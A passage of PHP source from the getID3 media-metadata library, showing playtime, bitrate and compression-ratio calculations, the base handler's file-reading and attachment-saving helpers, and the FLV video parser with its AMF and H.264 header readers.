			$this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate'];
		}

		if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) {
			$this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds'];
		}
		if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) {
			if (isset($this->info['audio']['dataformat']) && empty($this->info['video']['resolution_x'])) {
				// audio only
				$this->info['audio']['bitrate'] = $this->info['bitrate'];
			} elseif (isset($this->info['video']['resolution_x']) && empty($this->info['audio']['dataformat'])) {
				// video only
				$this->info['video']['bitrate'] = $this->info['bitrate'];
			}
		}

		// Set playtime string
		if (!empty($this->info['playtime_seconds']) && empty($this->info['playtime_string'])) {
			$this->info['playtime_string'] = getid3_lib::PlaytimeString($this->info['playtime_seconds']);
		}
	}


	public function CalculateCompressionRatioVideo() {
		if (empty($this->info['video'])) {
			return false;
		}
		if (empty($this->info['video']['resolution_x']) || empty($this->info['video']['resolution_y'])) {
			return false;
		}
		if (empty($this->info['video']['bits_per_sample'])) {
			return false;
		}

		switch ($this->info['video']['dataformat']) {
			case 'bmp':
			case 'gif':
			case 'jpeg':
			case 'jpg':
			case 'png':
			case 'tiff':
				$FrameRate = 1;
				$PlaytimeSeconds = 1;
				$BitrateCompressed = $this->info['filesize'] * 8;
				break;

			default:
				if (!empty($this->info['video']['frame_rate'])) {
					$FrameRate = $this->info['video']['frame_rate'];
				} else {
					return false;
				}
				if (!empty($this->info['playtime_seconds'])) {
					$PlaytimeSeconds = $this->info['playtime_seconds'];
				} else {
					return false;
				}
				if (!empty($this->info['video']['bitrate'])) {
					$BitrateCompressed = $this->info['video']['bitrate'];
				} else {
					return false;
				}
				break;
		}
		$BitrateUncompressed = $this->info['video']['resolution_x'] * $this->info['video']['resolution_y'] * $this->info['video']['bits_per_sample'] * $FrameRate;

		$this->info['video']['compression_ratio'] = $BitrateCompressed / $BitrateUncompressed;
		return true;
	}


	public function CalculateCompressionRatioAudio() {
		if (empty($this->info['audio']['bitrate']) || empty($this->info['audio']['channels']) || empty($this->info['audio']['sample_rate']) || !is_numeric($this->info['audio']['sample_rate'])) {
			return false;
		}
		$this->info['audio']['compression_ratio'] = $this->info['audio']['bitrate'] / ($this->info['audio']['channels'] * $this->info['audio']['sample_rate'] * (!empty($this->info['audio']['bits_per_sample']) ? $this->info['audio']['bits_per_sample'] : 16));

		if (!empty($this->info['audio']['streams'])) {
			foreach ($this->info['audio']['streams'] as $streamnumber => $streamdata) {
				if (!empty($streamdata['bitrate']) && !empty($streamdata['channels']) && !empty($streamdata['sample_rate'])) {
					$this->info['audio']['streams'][$streamnumber]['compression_ratio'] = $streamdata['bitrate'] / ($streamdata['channels'] * $streamdata['sample_rate'] * (!empty($streamdata['bits_per_sample']) ? $streamdata['bits_per_sample'] : 16));
				}
			}
		}
		return true;
	}


	public function CalculateReplayGain() {
		if (isset($this->info['replay_gain'])) {
			if (!isset($this->info['replay_gain']['reference_volume'])) {
				$this->info['replay_gain']['reference_volume'] = (double) 89.0;
			}
			if (isset($this->info['replay_gain']['track']['adjustment'])) {
				$this->info['replay_gain']['track']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['track']['adjustment'];
			}
			if (isset($this->info['replay_gain']['album']['adjustment'])) {
				$this->info['replay_gain']['album']['volume'] = $this->info['replay_gain']['reference_volume'] - $this->info['replay_gain']['album']['adjustment'];
			}

			if (isset($this->info['replay_gain']['track']['peak'])) {
				$this->info['replay_gain']['track']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['track']['peak']);
			}
			if (isset($this->info['replay_gain']['album']['peak'])) {
				$this->info['replay_gain']['album']['max_noclip_gain'] = 0 - getid3_lib::RGADamplitude2dB($this->info['replay_gain']['album']['peak']);
			}
		}
		return true;
	}

	public function ProcessAudioStreams() {
		if (!empty($this->info['audio']['bitrate']) || !empty($this->info['audio']['channels']) || !empty($this->info['audio']['sample_rate'])) {
			if (!isset($this->info['audio']['streams'])) {
				foreach ($this->info['audio'] as $key => $value) {
					if ($key != 'streams') {
						$this->info['audio']['streams'][0][$key] = $value;
					}
				}
			}
		}
		return true;
	}

	public function getid3_tempnam() {
		return tempnam($this->tempdir, 'gI3');
	}

	public function include_module($name) {
		//if (!file_exists($this->include_path.'module.'.$name.'.php')) {
		if (!file_exists(GETID3_INCLUDEPATH.'module.'.$name.'.php')) {
			throw new getid3_exception('Required module.'.$name.'.php is missing.');
		}
		include_once(GETID3_INCLUDEPATH.'module.'.$name.'.php');
		return true;
	}

}


abstract class getid3_handler {

	/**
	* @var getID3
	*/
	protected $getid3;                       // pointer

	protected $data_string_flag     = false; // analyzing filepointer or string
	protected $data_string          = '';    // string to analyze
	protected $data_string_position = 0;     // seek position in string
	protected $data_string_length   = 0;     // string length

	private $dependency_to = null;


	public function __construct(getID3 $getid3, $call_module=null) {
		$this->getid3 = $getid3;

		if ($call_module) {
			$this->dependency_to = str_replace('getid3_', '', $call_module);
		}
	}


	// Analyze from file pointer
	abstract public function Analyze();


	// Analyze from string instead
	public function AnalyzeString($string) {
		// Enter string mode
		$this->setStringMode($string);

		// Save info
		$saved_avdataoffset = $this->getid3->info['avdataoffset'];
		$saved_avdataend    = $this->getid3->info['avdataend'];
		$saved_filesize     = (isset($this->getid3->info['filesize']) ? $this->getid3->info['filesize'] : null); // may be not set if called as dependency without openfile() call

		// Reset some info
		$this->getid3->info['avdataoffset'] = 0;
		$this->getid3->info['avdataend']    = $this->getid3->info['filesize'] = $this->data_string_length;

		// Analyze
		$this->Analyze();

		// Restore some info
		$this->getid3->info['avdataoffset'] = $saved_avdataoffset;
		$this->getid3->info['avdataend']    = $saved_avdataend;
		$this->getid3->info['filesize']     = $saved_filesize;

		// Exit string mode
		$this->data_string_flag = false;
	}

	public function setStringMode($string) {
		$this->data_string_flag   = true;
		$this->data_string        = $string;
		$this->data_string_length = strlen($string);
	}

	protected function ftell() {
		if ($this->data_string_flag) {
			return $this->data_string_position;
		}
		return ftell($this->getid3->fp);
	}

	protected function fread($bytes) {
		if ($this->data_string_flag) {
			$this->data_string_position += $bytes;
			return substr($this->data_string, $this->data_string_position - $bytes, $bytes);
		}
		$pos = $this->ftell() + $bytes;
		if (!getid3_lib::intValueSupported($pos)) {
			throw new getid3_exception('cannot fread('.$bytes.' from '.$this->ftell().') because beyond PHP filesystem limit', 10);
		}

		//return fread($this->getid3->fp, $bytes);
		/*
		* http://www.getid3.org/phpBB3/viewtopic.php?t=1930
		* "I found out that the root cause for the problem was how getID3 uses the PHP system function fread().
		* It seems to assume that fread() would always return as many bytes as were requested.
		* However, according the PHP manual (http://php.net/manual/en/function.fread.php), this is the case only with regular local files, but not e.g. with Linux pipes.
		* The call may return only part of the requested data and a new call is needed to get more."
		*/
		$contents = '';
		do {
			$part = fread($this->getid3->fp, $bytes);
			$partLength  = strlen($part);
			$bytes      -= $partLength;
			$contents   .= $part;
		} while (($bytes > 0) && ($partLength > 0));
		return $contents;
	}

	protected function fseek($bytes, $whence=SEEK_SET) {
		if ($this->data_string_flag) {
			switch ($whence) {
				case SEEK_SET:
					$this->data_string_position = $bytes;
					break;

				case SEEK_CUR:
					$this->data_string_position += $bytes;
					break;

				case SEEK_END:
					$this->data_string_position = $this->data_string_length + $bytes;
					break;
			}
			return 0;
		} else {
			$pos = $bytes;
			if ($whence == SEEK_CUR) {
				$pos = $this->ftell() + $bytes;
			} elseif ($whence == SEEK_END) {
				$pos = $this->getid3->info['filesize'] + $bytes;
			}
			if (!getid3_lib::intValueSupported($pos)) {
				throw new getid3_exception('cannot fseek('.$pos.') because beyond PHP filesystem limit', 10);
			}
		}
		return fseek($this->getid3->fp, $bytes, $whence);
	}

	protected function feof() {
		if ($this->data_string_flag) {
			return $this->data_string_position >= $this->data_string_length;
		}
		return feof($this->getid3->fp);
	}

	final protected function isDependencyFor($module) {
		return $this->dependency_to == $module;
	}

	protected function error($text) {
		$this->getid3->info['error'][] = $text;

		return false;
	}

	protected function warning($text) {
		return $this->getid3->warning($text);
	}

	protected function notice($text) {
		// does nothing for now
	}

	public function saveAttachment($name, $offset, $length, $image_mime=null) {
		try {

			// do not extract at all
			if ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_NONE) {

				$attachment = null; // do not set any

			// extract to return array
			} elseif ($this->getid3->option_save_attachments === getID3::ATTACHMENTS_INLINE) {

				$this->fseek($offset);
				$attachment = $this->fread($length); // get whole data in one pass, till it is anyway stored in memory
				if ($attachment === false || strlen($attachment) != $length) {
					throw new Exception('failed to read attachment data');
				}

			// assume directory path is given
			} else {

				// set up destination path
				$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
				if (!is_dir($dir) || !is_writable($dir)) { // check supplied directory
					throw new Exception('supplied path ('.$dir.') does not exist, or is not writable');
				}
				$dest = $dir.DIRECTORY_SEPARATOR.$name.($image_mime ? '.'.getid3_lib::ImageExtFromMime($image_mime) : '');

				// create dest file
				if (($fp_dest = fopen($dest, 'wb')) == false) {
					throw new Exception('failed to create file '.$dest);
				}

				// copy data
				$this->fseek($offset);
				$buffersize = ($this->data_string_flag ? $length : $this->getid3->fread_buffer_size());
				$bytesleft = $length;
				while ($bytesleft > 0) {
					if (($buffer = $this->fread(min($buffersize, $bytesleft))) === false || ($byteswritten = fwrite($fp_dest, $buffer)) === false || ($byteswritten === 0)) {
						throw new Exception($buffer === false ? 'not enough data to read' : 'failed to write to destination file, may be not enough disk space');
					}
					$bytesleft -= $byteswritten;
				}

				fclose($fp_dest);
				$attachment = $dest;

			}

		} catch (Exception $e) {

			// close and remove dest file if created
			if (isset($fp_dest) && is_resource($fp_dest)) {
				fclose($fp_dest);
				unlink($dest);
			}

			// do not set any is case of error
			$attachment = null;
			$this->warning('Failed to extract attachment '.$name.': '.$e->getMessage());

		}

		// seek to the end of attachment
		$this->fseek($offset + $length);

		return $attachment;
	}

}


class getid3_exception extends Exception
{
	public $message;
}
editor/libraries/classes/vendor/getid3/getid3/module.audio-video.flv.php000060400000061465150750527150022305 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
//                                                             //
//  FLV module by Seth Kaufman <sethØwhirl-i-gig*com>          //
//                                                             //
//  * version 0.1 (26 June 2005)                               //
//                                                             //
//                                                             //
//  * version 0.1.1 (15 July 2005)                             //
//  minor modifications by James Heinrich <info@getid3.org>    //
//                                                             //
//  * version 0.2 (22 February 2006)                           //
//  Support for On2 VP6 codec and meta information             //
//    by Steve Webster <steve.websterØfeaturecreep*com>        //
//                                                             //
//  * version 0.3 (15 June 2006)                               //
//  Modified to not read entire file into memory               //
//    by James Heinrich <info@getid3.org>                      //
//                                                             //
//  * version 0.4 (07 December 2007)                           //
//  Bugfixes for incorrectly parsed FLV dimensions             //
//    and incorrect parsing of onMetaTag                       //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.5 (21 May 2009)                                //
//  Fixed parsing of audio tags and added additional codec     //
//    details. The duration is now read from onMetaTag (if     //
//    exists), rather than parsing whole file                  //
//    by Nigel Barnes <ngbarnesØhotmail*com>                   //
//                                                             //
//  * version 0.6 (24 May 2009)                                //
//  Better parsing of files with h264 video                    //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.6.1 (30 May 2011)                              //
//    prevent infinite loops in expGolombUe()                  //
//                                                             //
//  * version 0.7.0 (16 Jul 2013)                              //
//  handle GETID3_FLV_VIDEO_VP6FLV_ALPHA                       //
//  improved AVCSequenceParameterSetReader::readData()         //
//    by Xander Schouwerwou <schouwerwouØgmail*com>            //
//                                                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.flv.php                                  //
// module for analyzing Shockwave Flash Video files            //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

define('GETID3_FLV_TAG_AUDIO',          8);
define('GETID3_FLV_TAG_VIDEO',          9);
define('GETID3_FLV_TAG_META',          18);

define('GETID3_FLV_VIDEO_H263',         2);
define('GETID3_FLV_VIDEO_SCREEN',       3);
define('GETID3_FLV_VIDEO_VP6FLV',       4);
define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5);
define('GETID3_FLV_VIDEO_SCREENV2',     6);
define('GETID3_FLV_VIDEO_H264',         7);

define('H264_AVC_SEQUENCE_HEADER',          0);
define('H264_PROFILE_BASELINE',            66);
define('H264_PROFILE_MAIN',                77);
define('H264_PROFILE_EXTENDED',            88);
define('H264_PROFILE_HIGH',               100);
define('H264_PROFILE_HIGH10',             110);
define('H264_PROFILE_HIGH422',            122);
define('H264_PROFILE_HIGH444',            144);
define('H264_PROFILE_HIGH444_PREDICTIVE', 244);

class getid3_flv extends getid3_handler {

	const magic = 'FLV';

	public $max_frames = 100000; // break out of the loop if too many frames have been scanned; only scan this many if meta frame does not contain useful duration

	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);

		$FLVdataLength = $info['avdataend'] - $info['avdataoffset'];
		$FLVheader = $this->fread(5);

		$info['fileformat'] = 'flv';
		$info['flv']['header']['signature'] =                           substr($FLVheader, 0, 3);
		$info['flv']['header']['version']   = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1));
		$TypeFlags                          = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1));

		if ($info['flv']['header']['signature'] != self::magic) {
			$this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"');
			unset($info['flv'], $info['fileformat']);
			return false;
		}

		$info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04);
		$info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01);

		$FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4));
		$FLVheaderFrameLength = 9;
		if ($FrameSizeDataLength > $FLVheaderFrameLength) {
			$this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR);
		}
		$Duration = 0;
		$found_video = false;
		$found_audio = false;
		$found_meta  = false;
		$found_valid_meta_playtime = false;
		$tagParseCount = 0;
		$info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0);
		$flv_framecount = &$info['flv']['framecount'];
		while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime))  {
			$ThisTagHeader = $this->fread(16);

			$PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  0, 4));
			$TagType           = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  4, 1));
			$DataLength        = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  5, 3));
			$Timestamp         = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  8, 3));
			$LastHeaderByte    = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1));
			$NextOffset = $this->ftell() - 1 + $DataLength;
			if ($Timestamp > $Duration) {
				$Duration = $Timestamp;
			}

			$flv_framecount['total']++;
			switch ($TagType) {
				case GETID3_FLV_TAG_AUDIO:
					$flv_framecount['audio']++;
					if (!$found_audio) {
						$found_audio = true;
						$info['flv']['audio']['audioFormat']     = ($LastHeaderByte >> 4) & 0x0F;
						$info['flv']['audio']['audioRate']       = ($LastHeaderByte >> 2) & 0x03;
						$info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01;
						$info['flv']['audio']['audioType']       =  $LastHeaderByte       & 0x01;
					}
					break;

				case GETID3_FLV_TAG_VIDEO:
					$flv_framecount['video']++;
					if (!$found_video) {
						$found_video = true;
						$info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07;

						$FLVvideoHeader = $this->fread(11);

						if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) {
							// this code block contributed by: moysevichØgmail*com

							$AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1));
							if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) {
								//	read AVCDecoderConfigurationRecord
								$configurationVersion       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  4, 1));
								$AVCProfileIndication       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  5, 1));
								$profile_compatibility      = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  6, 1));
								$lengthSizeMinusOne         = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  7, 1));
								$numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  8, 1));

								if (($numOfSequenceParameterSets & 0x1F) != 0) {
									//	there is at least one SequenceParameterSet
									//	read size of the first SequenceParameterSet
									//$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
									$spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2));
									//	read the first SequenceParameterSet
									$sps = $this->fread($spsSize);
									if (strlen($sps) == $spsSize) {	//	make sure that whole SequenceParameterSet was red
										$spsReader = new AVCSequenceParameterSetReader($sps);
										$spsReader->readData();
										$info['video']['resolution_x'] = $spsReader->getWidth();
										$info['video']['resolution_y'] = $spsReader->getHeight();
									}
								}
							}
							// end: moysevichØgmail*com

						} elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) {

							$PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7;
							$PictureSizeType = $PictureSizeType & 0x0007;
							$info['flv']['header']['videoSizeType'] = $PictureSizeType;
							switch ($PictureSizeType) {
								case 0:
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;

									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF;
									break;

								case 1:
									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF;
									break;

								case 2:
									$info['video']['resolution_x'] = 352;
									$info['video']['resolution_y'] = 288;
									break;

								case 3:
									$info['video']['resolution_x'] = 176;
									$info['video']['resolution_y'] = 144;
									break;

								case 4:
									$info['video']['resolution_x'] = 128;
									$info['video']['resolution_y'] = 96;
									break;

								case 5:
									$info['video']['resolution_x'] = 320;
									$info['video']['resolution_y'] = 240;
									break;

								case 6:
									$info['video']['resolution_x'] = 160;
									$info['video']['resolution_y'] = 120;
									break;

								default:
									$info['video']['resolution_x'] = 0;
									$info['video']['resolution_y'] = 0;
									break;

							}

						} elseif ($info['flv']['video']['videoCodec'] ==  GETID3_FLV_VIDEO_VP6FLV_ALPHA) {

							/* contributed by schouwerwouØgmail*com */
							if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set
								$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
								$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2));
								$info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3;
								$info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3;
							}
							/* end schouwerwouØgmail*com */

						}
						if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) {
							$info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y'];
						}
					}
					break;

				// Meta tag
				case GETID3_FLV_TAG_META:
					if (!$found_meta) {
						$found_meta = true;
						$this->fseek(-1, SEEK_CUR);
						$datachunk = $this->fread($DataLength);
						$AMFstream = new AMFStream($datachunk);
						$reader = new AMFReader($AMFstream);
						$eventName = $reader->readData();
						$info['flv']['meta'][$eventName] = $reader->readData();
						unset($reader);

						$copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate');
						foreach ($copykeys as $sourcekey => $destkey) {
							if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) {
								switch ($sourcekey) {
									case 'width':
									case 'height':
										$info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey]));
										break;
									case 'audiodatarate':
										$info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000));
										break;
									case 'videodatarate':
									case 'frame_rate':
									default:
										$info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey];
										break;
								}
							}
						}
						if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
							$found_valid_meta_playtime = true;
						}
					}
					break;

				default:
					// noop
					break;
			}
			$this->fseek($NextOffset);
		}

		$info['playtime_seconds'] = $Duration / 1000;
		if ($info['playtime_seconds'] > 0) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}

		if ($info['flv']['header']['hasAudio']) {
			$info['audio']['codec']           =   self::audioFormatLookup($info['flv']['audio']['audioFormat']);
			$info['audio']['sample_rate']     =     self::audioRateLookup($info['flv']['audio']['audioRate']);
			$info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']);

			$info['audio']['channels']   =  $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo
			$info['audio']['lossless']   = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed
			$info['audio']['dataformat'] = 'flv';
		}
		if (!empty($info['flv']['header']['hasVideo'])) {
			$info['video']['codec']      = self::videoCodecLookup($info['flv']['video']['videoCodec']);
			$info['video']['dataformat'] = 'flv';
			$info['video']['lossless']   = false;
		}

		// Set information from meta
		if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
			$info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration'];
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) {
			$info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']);
		}
		if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) {
			$info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']);
		}
		return true;
	}


	public static function audioFormatLookup($id) {
		static $lookup = array(
			0  => 'Linear PCM, platform endian',
			1  => 'ADPCM',
			2  => 'mp3',
			3  => 'Linear PCM, little endian',
			4  => 'Nellymoser 16kHz mono',
			5  => 'Nellymoser 8kHz mono',
			6  => 'Nellymoser',
			7  => 'G.711A-law logarithmic PCM',
			8  => 'G.711 mu-law logarithmic PCM',
			9  => 'reserved',
			10 => 'AAC',
			11 => 'Speex',
			12 => false, // unknown?
			13 => false, // unknown?
			14 => 'mp3 8kHz',
			15 => 'Device-specific sound',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	public static function audioRateLookup($id) {
		static $lookup = array(
			0 =>  5500,
			1 => 11025,
			2 => 22050,
			3 => 44100,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	public static function audioBitDepthLookup($id) {
		static $lookup = array(
			0 =>  8,
			1 => 16,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	public static function videoCodecLookup($id) {
		static $lookup = array(
			GETID3_FLV_VIDEO_H263         => 'Sorenson H.263',
			GETID3_FLV_VIDEO_SCREEN       => 'Screen video',
			GETID3_FLV_VIDEO_VP6FLV       => 'On2 VP6',
			GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel',
			GETID3_FLV_VIDEO_SCREENV2     => 'Screen video v2',
			GETID3_FLV_VIDEO_H264         => 'Sorenson H.264',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}
}

class AMFStream {
	public $bytes;
	public $pos;

	public function __construct(&$bytes) {
		$this->bytes =& $bytes;
		$this->pos = 0;
	}

	public function readByte() {
		return getid3_lib::BigEndian2Int(substr($this->bytes, $this->pos++, 1));
	}

	public function readInt() {
		return ($this->readByte() << 8) + $this->readByte();
	}

	public function readLong() {
		return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte();
	}

	public function readDouble() {
		return getid3_lib::BigEndian2Float($this->read(8));
	}

	public function readUTF() {
		$length = $this->readInt();
		return $this->read($length);
	}

	public function readLongUTF() {
		$length = $this->readLong();
		return $this->read($length);
	}

	public function read($length) {
		$val = substr($this->bytes, $this->pos, $length);
		$this->pos += $length;
		return $val;
	}

	public function peekByte() {
		$pos = $this->pos;
		$val = $this->readByte();
		$this->pos = $pos;
		return $val;
	}

	public function peekInt() {
		$pos = $this->pos;
		$val = $this->readInt();
		$this->pos = $pos;
		return $val;
	}

	public function peekLong() {
		$pos = $this->pos;
		$val = $this->readLong();
		$this->pos = $pos;
		return $val;
	}

	public function peekDouble() {
		$pos = $this->pos;
		$val = $this->readDouble();
		$this->pos = $pos;
		return $val;
	}

	public function peekUTF() {
		$pos = $this->pos;
		$val = $this->readUTF();
		$this->pos = $pos;
		return $val;
	}

	public function peekLongUTF() {
		$pos = $this->pos;
		$val = $this->readLongUTF();
		$this->pos = $pos;
		return $val;
	}
}

class AMFReader {
	public $stream;

	public function __construct(&$stream) {
		$this->stream =& $stream;
	}

	public function readData() {
		$value = null;

		$type = $this->stream->readByte();
		switch ($type) {

			// Double
			case 0:
				$value = $this->readDouble();
			break;

			// Boolean
			case 1:
				$value = $this->readBoolean();
				break;

			// String
			case 2:
				$value = $this->readString();
				break;

			// Object
			case 3:
				$value = $this->readObject();
				break;

			// null
			case 6:
				return null;
				break;

			// Mixed array
			case 8:
				$value = $this->readMixedArray();
				break;

			// Array
			case 10:
				$value = $this->readArray();
				break;

			// Date
			case 11:
				$value = $this->readDate();
				break;

			// Long string
			case 13:
				$value = $this->readLongString();
				break;

			// XML (handled as string)
			case 15:
				$value = $this->readXML();
				break;

			// Typed object (handled as object)
			case 16:
				$value = $this->readTypedObject();
				break;

			// Long string
			default:
				$value = '(unknown or unsupported data type)';
				break;
		}

		return $value;
	}

	public function readDouble() {
		return $this->stream->readDouble();
	}

	public function readBoolean() {
		return $this->stream->readByte() == 1;
	}

	public function readString() {
		return $this->stream->readUTF();
	}

	public function readObject() {
		// Get highest numerical index - ignored
//		$highestIndex = $this->stream->readLong();

		$data = array();

		while ($key = $this->stream->readUTF()) {
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}
		return $data;
	}

	public function readMixedArray() {
		// Get highest numerical index - ignored
		$highestIndex = $this->stream->readLong();

		$data = array();

		while ($key = $this->stream->readUTF()) {
			if (is_numeric($key)) {
				$key = (float) $key;
			}
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}

		return $data;
	}

	public function readArray() {
		$length = $this->stream->readLong();
		$data = array();

		for ($i = 0; $i < $length; $i++) {
			$data[] = $this->readData();
		}
		return $data;
	}

	public function readDate() {
		$timestamp = $this->stream->readDouble();
		$timezone = $this->stream->readInt();
		return $timestamp;
	}

	public function readLongString() {
		return $this->stream->readLongUTF();
	}

	public function readXML() {
		return $this->stream->readLongUTF();
	}

	public function readTypedObject() {
		$className = $this->stream->readUTF();
		return $this->readObject();
	}
}

class AVCSequenceParameterSetReader {
	public $sps;
	public $start = 0;
	public $currentBytes = 0;
	public $currentBits = 0;
	public $width;
	public $height;

	public function __construct($sps) {
		$this->sps = $sps;
	}

	public function readData() {
		$this->skipBits(8);
		$this->skipBits(8);
		$profile = $this->getBits(8);                               // read profile
		if ($profile > 0) {
			$this->skipBits(8);
			$level_idc = $this->getBits(8);                         // level_idc
			$this->expGolombUe();                                   // seq_parameter_set_id // sps
			$this->expGolombUe();                                   // log2_max_frame_num_minus4
			$picOrderType = $this->expGolombUe();                   // pic_order_cnt_type
			if ($picOrderType == 0) {
				$this->expGolombUe();                               // log2_max_pic_order_cnt_lsb_minus4
			} elseif ($picOrderType == 1) {
				$this->skipBits(1);                                 // delta_pic_order_always_zero_flag
				$this->expGolombSe();                               // offset_for_non_ref_pic
				$this->expGolombSe();                               // offset_for_top_to_bottom_field
				$num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle
				for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) {
					$this->expGolombSe();                           // offset_for_ref_frame[ i ]
				}
			}
